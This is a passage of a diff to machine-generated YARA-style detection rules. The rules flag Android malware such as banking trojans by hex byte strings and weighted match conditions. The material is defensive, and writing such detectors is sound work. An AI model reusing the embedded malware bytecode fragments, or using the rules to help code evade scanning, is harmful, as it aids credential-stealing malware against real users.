6e 73 68 69 6e 65 53 70 79 2e 41 00 01 00 11 01 77 68 61 74 73 41 70 70 44 42 41 64 61 70 74 } //29545 + $a_2e_2 = {67 64 79 65 67 77 61 76 01 00 48 01 79 67 64 79 65 67 43 61 6e 27 74 79 67 64 79 65 67 20 67 65 74 20 79 67 64 79 65 67 6c 6f 63 61 74 79 67 64 79 65 67 69 6f 6e 20 62 79 67 64 79 65 67 79 20 61 6e 79 79 67 64 79 65 67 20 6f 6e 65 20 79 67 64 79 65 67 00 00 be 23 01 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f } //25956 + $a_53_3 = {42 61 6e 6b 65 72 2e 41 46 21 4d 54 42 00 01 00 8a 01 14 00 7a e0 ff ff 14 01 de de ff ff 90 00 00 01 94 00 00 01 3d 00 1a 00 14 00 9a 3e 00 00 14 01 22 1d 00 00 91 01 00 01 90 01 00 01 94 00 01 01 2a 00 07 00 00 00 91 01 00 01 94 00 01 } //25705 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25977+(#a_2e_2 & 1)*25956+(#a_4f_3 & 1)*26991+(#a_2e_4 & 1)*28769+(#a_6c_5 & 1)*29545) >=7 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25977+(#a_2e_2 & 1)*25956+(#a_53_3 & 1)*25705) >=7 } -rule _InfrastructureShared_24892{ +rule _InfrastructureShared_26205{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 41 46 21 4d 54 42 00 01 00 8a 01 14 00 7a e0 ff ff 14 01 de de ff ff 90 00 00 01 94 00 00 01 3d 00 1a 00 14 00 9a 3e 00 00 14 01 22 1d } //21539 + $a_01_1 = {00 01 90 01 00 01 94 00 01 01 2a 00 07 00 00 00 91 01 00 01 94 00 01 01 94 00 01 01 2a 00 f7 ff ff ff 14 05 eb d0 69 2f 14 04 00 00 00 00 39 04 06 00 14 06 0c 95 69 2f 28 0b 22 02 24 00 1b 07 dc 02 00 00 71 10 c9 00 07 00 0c 07 28 ee b7 65 38 04 0a 00 1b 07 3b 02 00 00 71 10 c9 00 07 00 0c 07 28 f6 01 00 64 01 14 01 3c 25 08 00 71 20 af 00 11 00 0a 01 14 02 c8 05 0c 00 71 10 33 00 02 00 0a 02 01 13 35 12 2c 00 62 03 2d 00 35 21 07 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_26206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 08 00 21 " @@ -326105,7 +342944,7 @@ rule _InfrastructureShared_24892{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*8+(#a_65_2 & 1)*267+(#a_70_3 & 1)*28257+(#a_4d_5 & 1)*16897+(#a_61_6 & 1)*29797+(#a_73_7 & 1)*21331) >=8 } -rule _InfrastructureShared_24893{ +rule _InfrastructureShared_26207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 0b 00 21 " @@ -326124,7 +342963,7 @@ rule _InfrastructureShared_24893{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12148+(#a_77_2 & 1)*19969+(#a_73_3 & 1)*24936+(#a_61_4 & 1)*28530+(#a_6e_5 & 1)*26996+(#a_74_7 & 1)*27951+(#a_63_8 & 1)*21249+(#a_77_9 & 1)*17440+(#a_54_10 & 1)*6656) >=6 } -rule _InfrastructureShared_24894{ +rule _InfrastructureShared_26208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -326144,7 +342983,7 @@ rule _InfrastructureShared_24894{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25443+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_3a_7 & 1)*0+(#a_43_8 & 1)*25971+(#a_67_9 & 1)*19564+(#a_69_10 & 1)*29284) >=11 } -rule _InfrastructureShared_24895{ +rule _InfrastructureShared_26209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 06 00 21 " @@ -326159,7 +342998,7 @@ rule _InfrastructureShared_24895{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*285+(#a_68_2 & 1)*26990+(#a_54_3 & 1)*6656+(#a_5f_4 & 1)*25959+(#a_00_5 & 1)*513) >=3 } -rule _InfrastructureShared_24896{ +rule _InfrastructureShared_26210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -326171,7 +343010,7 @@ rule _InfrastructureShared_24896{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*28674+(#a_54_3 & 1)*13316) >=4 } -rule _InfrastructureShared_24897{ +rule _InfrastructureShared_26211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -326184,7 +343023,7 @@ rule _InfrastructureShared_24897{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*400+(#a_75_2 & 1)*257+(#a_01_3 & 1)*257) >=4 } -rule _InfrastructureShared_24898{ +rule _InfrastructureShared_26212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -326203,7 +343042,7 @@ rule _InfrastructureShared_24898{ ((#a_4c_0 & 1)*21539+(#a_74_2 & 1)*25709+(#a_4e_3 & 1)*30065+(#a_2e_4 & 1)*28515+(#a_42_5 & 1)*29806+(#a_90_6 & 1)*28930+(#a_00_7 & 1)*17+(#a_02_8 & 1)*-28672+(#a_71_10 & 1)*400+(#a_90_12 & 1)*28673) >=13 } -rule _InfrastructureShared_24899{ +rule _InfrastructureShared_26213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -326214,7 +343053,7 @@ rule _InfrastructureShared_24899{ ((#a_41_0 & 1)*20515+(#a_71_1 & 1)*400) >=2 } -rule _InfrastructureShared_24900{ +rule _InfrastructureShared_26214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 0d 00 21 " @@ -326235,7 +343074,7 @@ rule _InfrastructureShared_24900{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30322+(#a_4a_2 & 1)*18783+(#a_52_3 & 1)*3584+(#a_5f_4 & 1)*16719+(#a_00_5 & 1)*0+(#a_41_7 & 1)*8448+(#a_51_8 & 1)*16755+(#a_67_9 & 1)*19285+(#a_34_10 & 1)*22273+(#a_67_11 & 1)*27500+(#a_69_12 & 1)*26739) >=7 } -rule _InfrastructureShared_24901{ +rule _InfrastructureShared_26215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 0e 00 21 " @@ -326257,7 +343096,7 @@ rule _InfrastructureShared_24901{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*28758+(#a_00_2 & 1)*25419+(#a_34_3 & 1)*22273+(#a_67_4 & 1)*27500+(#a_69_5 & 1)*26739+(#a_73_7 & 1)*28783+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1) >=4 } -rule _InfrastructureShared_24902{ +rule _InfrastructureShared_26216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 17 00 21 " @@ -326289,7 +343128,7 @@ rule _InfrastructureShared_24902{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31077+(#a_74_2 & 1)*28525+(#a_6f_3 & 1)*29285+(#a_2e_4 & 1)*28257+(#a_63_5 & 1)*11617+(#a_32_6 & 1)*13105+(#a_69_7 & 1)*12875+(#a_62_8 & 1)*13357+(#a_41_9 & 1)*21577+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_04_12 & 1)*0+(#a_53_13 & 1)*29537+(#a_2f_14 & 1)*29541+(#a_68_15 & 1)*24940+(#a_6d_16 & 1)*28015+(#a_6f_17 & 1)*19457+(#a_74_18 & 1)*26998+(#a_6d_19 & 1)*29810+(#a_70_20 & 1)*25972+(#a_74_21 & 1)*30313+(#a_6e_22 & 1)*24909) >=4 } -rule _InfrastructureShared_24903{ +rule _InfrastructureShared_26217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 10 00 21 " @@ -326314,7 +343153,7 @@ rule _InfrastructureShared_24903{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*27499+(#a_65_2 & 1)*11617+(#a_50_3 & 1)*14401+(#a_32_4 & 1)*12342+(#a_54_5 & 1)*22337+(#a_42_6 & 1)*21059+(#a_4d_7 & 1)*25957+(#a_74_8 & 1)*30313+(#a_01_9 & 1)*10+(#a_01_10 & 1)*10+(#a_01_11 & 1)*10+(#a_01_12 & 1)*10+(#a_01_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10) >=3 } -rule _InfrastructureShared_24904{ +rule _InfrastructureShared_26218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 13 00 21 " @@ -326341,7 +343180,7 @@ rule _InfrastructureShared_24904{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*29801+(#a_65_2 & 1)*29545+(#a_6d_3 & 1)*28515+(#a_6d_5 & 1)*25420+(#a_42_6 & 1)*28001+(#a_65_7 & 1)*25968+(#a_4c_8 & 1)*10240+(#a_6d_9 & 1)*12150+(#a_01_10 & 1)*10+(#a_01_11 & 1)*10+(#a_01_12 & 1)*10+(#a_01_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10+(#a_01_16 & 1)*10+(#a_01_17 & 1)*10+(#a_01_18 & 1)*10) >=10 } -rule _InfrastructureShared_24905{ +rule _InfrastructureShared_26219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 ffffffbd 00 21 " @@ -326539,7 +343378,7 @@ rule _InfrastructureShared_24905{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27760+(#a_74_2 & 1)*30313+(#a_4c_3 & 1)*5888+(#a_6c_4 & 1)*25647+(#a_70_5 & 1)*28769+(#a_4d_6 & 1)*28787+(#a_6c_7 & 1)*22319+(#a_6f_8 & 1)*19457+(#a_6d_9 & 1)*28527+(#a_2f_10 & 1)*25973+(#a_61_11 & 1)*12141+(#a_00_12 & 1)*31092+(#a_6f_13 & 1)*12142+(#a_61_14 & 1)*26997+(#a_64_15 & 1)*24423+(#a_0a_16 & 1)*29801+(#a_41_17 & 1)*17484+(#a_74_18 & 1)*30313+(#a_73_19 & 1)*24932+(#a_64_20 & 1)*12141+(#a_68_21 & 1)*24940+(#a_70_22 & 1)*25956+(#a_61_23 & 1)*29743+(#a_65_24 & 1)*12133+(#a_69_25 & 1)*26996+(#a_79_26 & 1)*26998+(#a_68_27 & 1)*12135+(#a_63_28 & 1)*25449+(#a_63_29 & 1)*25943+(#a_69_30 & 1)*26996+(#a_4c_31 & 1)*9216+(#a_61_32 & 1)*12141+(#a_69_33 & 1)*25441+(#a_73_34 & 1)*27760+(#a_41_35 & 1)*21295+(#a_69_36 & 1)*28518+(#a_65_37 & 1)*25966+(#a_4c_38 & 1)*6912+(#a_69_39 & 1)*12141+(#a_73_40 & 1)*27760+(#a_31_41 & 1)*26671+(#a_63_42 & 1)*297+(#a_69_43 & 1)*26996+(#a_63_44 & 1)*28265+(#a_6f_45 & 1)*27747+(#a_69_46 & 1)*29817+(#a_6c_47 & 1)*29999+(#a_74_48 & 1)*25955+(#a_70_49 & 1)*28261+(#a_70_50 & 1)*29487+(#a_6f_51 & 1)*27749+(#a_6f_52 & 1)*12141+(#a_61_53 & 1)*28755+(#a_69_54 & 1)*25409+(#a_69_55 & 1)*26989+(#a_79_56 & 1)*26998+(#a_2f_57 & 1)*28515+(#a_6c_58 & 1)*28719+(#a_79_59 & 1)*26998+(#a_70_60 & 1)*30284+(#a_63_61 & 1)*26739+(#a_75_62 & 1)*28784+(#a_6f_63 & 1)*12136+(#a_74_64 & 1)*24879+(#a_61_65 & 1)*29285+(#a_74_66 & 1)*28015+(#a_6e_67 & 1)*12153+(#a_2f_68 & 1)*30056+(#a_00_69 & 1)*31092+(#a_65_70 & 1)*25966+(#a_2f_71 & 1)*28515+(#a_76_72 & 1)*29795+(#a_76_73 & 1)*29795+(#a_69_74 & 1)*12142+(#a_65_75 & 1)*29801+(#a_6f_76 & 1)*19457+(#a_61_77 & 1)*12146+(#a_6e_78 & 1)*24909+(#a_57_79 & 1)*24949+(#a_6f_80 & 1)*19457+(#a_78_81 & 1)*27508+(#a_69_82 & 1)*25409+(#a_2f_83 & 1)*28515+(#a_6d_84 & 1)*25420+(#a_79_85 & 1)*26998+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 & 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_01_188 & 1)*10) >=10 } -rule _InfrastructureShared_24906{ +rule _InfrastructureShared_26220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 fffffffc 00 21 " @@ -326800,7 +343639,7 @@ rule _InfrastructureShared_24906{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28265+(#a_66_2 & 1)*31084+(#a_4c_3 & 1)*8960+(#a_74_4 & 1)*12141+(#a_2f_5 & 1)*29295+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_01_8 & 1)*10+(#a_01_9 & 1)*10+(#a_01_10 & 1)*10+(#a_01_11 & 1)*10+(#a_01_12 & 1)*10+(#a_01_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10+(#a_01_16 & 1)*10+(#a_01_17 & 1)*10+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*10+(#a_01_22 & 1)*10+(#a_01_23 & 1)*10+(#a_01_24 & 1)*10+(#a_01_25 & 1)*10+(#a_01_26 & 1)*10+(#a_01_27 & 1)*10+(#a_01_28 & 1)*10+(#a_01_29 & 1)*10+(#a_01_30 & 1)*10+(#a_01_31 & 1)*10+(#a_01_32 & 1)*10+(#a_01_33 & 1)*10+(#a_01_34 & 1)*10+(#a_01_35 & 1)*10+(#a_01_36 & 1)*10+(#a_01_37 & 1)*10+(#a_01_38 & 1)*10+(#a_01_39 & 1)*10+(#a_01_40 & 1)*10+(#a_01_41 & 1)*10+(#a_01_42 & 1)*10+(#a_01_43 & 1)*10+(#a_01_44 & 1)*10+(#a_01_45 & 1)*10+(#a_01_46 & 1)*10+(#a_01_47 & 1)*10+(#a_01_48 & 1)*10+(#a_01_49 & 1)*10+(#a_01_50 & 1)*10+(#a_01_51 & 1)*10+(#a_01_52 & 1)*10+(#a_01_53 & 1)*10+(#a_01_54 & 1)*10+(#a_01_55 & 1)*10+(#a_01_56 & 1)*10+(#a_01_57 & 1)*10+(#a_01_58 & 1)*10+(#a_01_59 & 1)*10+(#a_01_60 & 1)*10+(#a_01_61 & 1)*10+(#a_01_62 & 1)*10+(#a_01_63 & 1)*10+(#a_01_64 & 1)*10+(#a_01_65 & 1)*10+(#a_01_66 & 1)*10+(#a_01_67 & 1)*10+(#a_01_68 & 1)*10+(#a_01_69 & 1)*10+(#a_01_70 & 1)*10+(#a_01_71 & 1)*10+(#a_01_72 & 1)*10+(#a_01_73 & 1)*10+(#a_01_74 & 1)*10+(#a_01_75 & 1)*10+(#a_01_76 & 1)*10+(#a_01_77 & 1)*10+(#a_01_78 & 1)*10+(#a_01_79 & 1)*10+(#a_01_80 & 1)*10+(#a_01_81 & 1)*10+(#a_01_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 & 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_01_188 & 1)*10+(#a_01_189 & 1)*10+(#a_01_190 & 1)*10+(#a_01_191 & 1)*10+(#a_01_192 & 1)*10+(#a_01_193 & 1)*10+(#a_01_194 & 1)*10+(#a_01_195 & 1)*10+(#a_01_196 & 1)*10+(#a_01_197 & 1)*10+(#a_01_198 & 1)*10+(#a_01_199 & 1)*10+(#a_01_200 & 1)*10+(#a_01_201 & 1)*10+(#a_01_202 & 1)*10+(#a_01_203 & 1)*10+(#a_01_204 & 1)*10+(#a_01_205 & 1)*10+(#a_01_206 & 1)*10+(#a_01_207 & 1)*10+(#a_01_208 & 1)*10+(#a_01_209 & 1)*10+(#a_01_210 & 1)*10+(#a_01_211 & 1)*10+(#a_01_212 & 1)*10+(#a_01_213 & 1)*10+(#a_01_214 & 1)*10+(#a_01_215 & 1)*10+(#a_01_216 & 1)*10+(#a_01_217 & 1)*10+(#a_01_218 & 1)*10+(#a_01_219 & 1)*10+(#a_01_220 & 1)*10+(#a_01_221 & 1)*10+(#a_01_222 & 1)*10+(#a_01_223 & 1)*10+(#a_01_224 & 1)*10+(#a_01_225 & 1)*10+(#a_01_226 & 1)*10+(#a_01_227 & 1)*10+(#a_01_228 & 1)*10+(#a_01_229 & 1)*10+(#a_01_230 & 1)*10+(#a_01_231 & 1)*10+(#a_01_232 & 1)*10+(#a_01_233 & 1)*10+(#a_01_234 & 1)*10+(#a_01_235 & 1)*10+(#a_01_236 & 1)*10+(#a_01_237 & 1)*10+(#a_01_238 & 1)*10+(#a_01_239 & 1)*10+(#a_01_240 & 1)*10+(#a_01_241 & 1)*10+(#a_01_242 & 1)*10+(#a_01_243 & 1)*10+(#a_01_244 & 1)*10+(#a_01_245 & 1)*10+(#a_a5_246 & 1)*0+(#a_76_247 & 1)*29795+(#a_2f_248 & 1)*26482+(#a_2f_249 & 1)*28515+(#a_52_250 & 1)*24909+(#a_67_251 & 1)*28015) >=10 } -rule _InfrastructureShared_24907{ +rule _InfrastructureShared_26221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 ffffff8b 01 21 " @@ -327201,7 +344040,7 @@ rule _InfrastructureShared_24907{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26482+(#a_2f_2 & 1)*28515+(#a_2f_3 & 1)*26991+(#a_4c_4 & 1)*7936+(#a_6f_5 & 1)*12141+(#a_2f_6 & 1)*27759+(#a_69_7 & 1)*26989+(#a_6f_8 & 1)*26981+(#a_63_9 & 1)*30062+(#a_6e_10 & 1)*24909+(#a_6e_11 & 1)*24909+(#a_69_12 & 1)*29817+(#a_2f_13 & 1)*24944+(#a_75_14 & 1)*29801+(#a_69_15 & 1)*26996+(#a_6f_16 & 1)*27749+(#a_69_17 & 1)*29797+(#a_6e_18 & 1)*24941+(#a_65_19 & 1)*28271+(#a_69_20 & 1)*29285+(#a_69_21 & 1)*26998+(#a_69_22 & 1)*28525+(#a_69_23 & 1)*26996+(#a_53_24 & 1)*27756+(#a_61_25 & 1)*30021+(#a_62_26 & 1)*25961+(#a_69_27 & 1)*25409+(#a_61_28 & 1)*28755+(#a_5f_29 & 1)*27756+(#a_63_30 & 1)*12129+(#a_6f_31 & 1)*19457+(#a_68_32 & 1)*28277+(#a_6f_33 & 1)*25449+(#a_79_34 & 1)*26998+(#a_6f_35 & 1)*19457+(#a_61_36 & 1)*12132+(#a_74_37 & 1)*17776+(#a_78_38 & 1)*30767+(#a_76_39 & 1)*26482+(#a_63_40 & 1)*28265+(#a_41_41 & 1)*28737+(#a_6e_42 & 1)*26996+(#a_2f_43 & 1)*25954+(#a_41_44 & 1)*26977+(#a_78_45 & 1)*25188+(#a_41_46 & 1)*26991+(#a_73_47 & 1)*26159+(#a_69_48 & 1)*26998+(#a_63_49 & 1)*12142+(#a_75_50 & 1)*25954+(#a_61_51 & 1)*28521+(#a_73_52 & 1)*26704+(#a_65_53 & 1)*30575+(#a_72_54 & 1)*26723+(#a_0a_55 & 1)*29801+(#a_4c_56 & 1)*6656+(#a_61_57 & 1)*12141+(#a_0a_58 & 1)*29801+(#a_6d_59 & 1)*28271+(#a_6d_61 & 1)*25420+(#a_0a_62 & 1)*29801+(#a_01_63 & 1)*10+(#a_01_64 & 1)*10+(#a_01_65 & 1)*10+(#a_01_66 & 1)*10+(#a_01_67 & 1)*10+(#a_01_68 & 1)*10+(#a_01_69 & 1)*10+(#a_01_70 & 1)*10+(#a_01_71 & 1)*10+(#a_01_72 & 1)*10+(#a_01_73 & 1)*10+(#a_01_74 & 1)*10+(#a_01_75 & 1)*10+(#a_01_76 & 1)*10+(#a_01_77 & 1)*10+(#a_01_78 & 1)*10+(#a_01_79 & 1)*10+(#a_01_80 & 1)*10+(#a_01_81 & 1)*10+(#a_01_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 